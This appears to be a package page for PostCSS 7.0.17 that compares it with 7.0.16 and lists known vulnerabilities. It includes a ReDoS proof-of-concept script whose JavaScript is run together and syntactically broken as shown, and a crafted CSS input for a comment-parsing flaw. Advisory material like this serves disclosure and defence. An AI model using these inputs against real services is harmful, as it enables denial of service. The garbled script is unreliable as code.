PostCSS version 7.0.17 is a minor patch release following 7.0.16 in the 7.x series of this transformative CSS tool. Both versions share the same core dependencies: Chalk for colorful console output, Source Map for debugging, and Supports Color for terminal color detection. The license remains MIT, and the source code is hosted on GitHub. Both are authored by Andrey Sitnik. Developers familiar with PostCSS will find a consistent API and functionality across these two versions.
The most notable difference lies in the release date and unpacked size. Version 7.0.17 was released on June 5th, 2019, approximately a month after 7.0.16, which was released on May 4th, 2019. The unpacked size is slightly smaller in 7.0.17 at 599329 bytes, compared to 600441 bytes in 7.0.16. This potentially indicates minor optimizations or bug fixes that reduced the overall footprint of the package. While file count stays the same, the reduced unpacked size and newer release date suggest that 7.0.17 likely incorporates minor improvements or resolutions to issues identified in 7.0.16. For developers, upgrading to 7.0.17 provides the benefit of the latest bug fixes and potential performance enhancements within the 7.x branch, ensuring a smoother PostCSS experience. Unless facing specific issues with 7.0.16, upgrading to 7.0.17 is generally recommended.
All the vulnerabilities related to the version 7.0.17 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.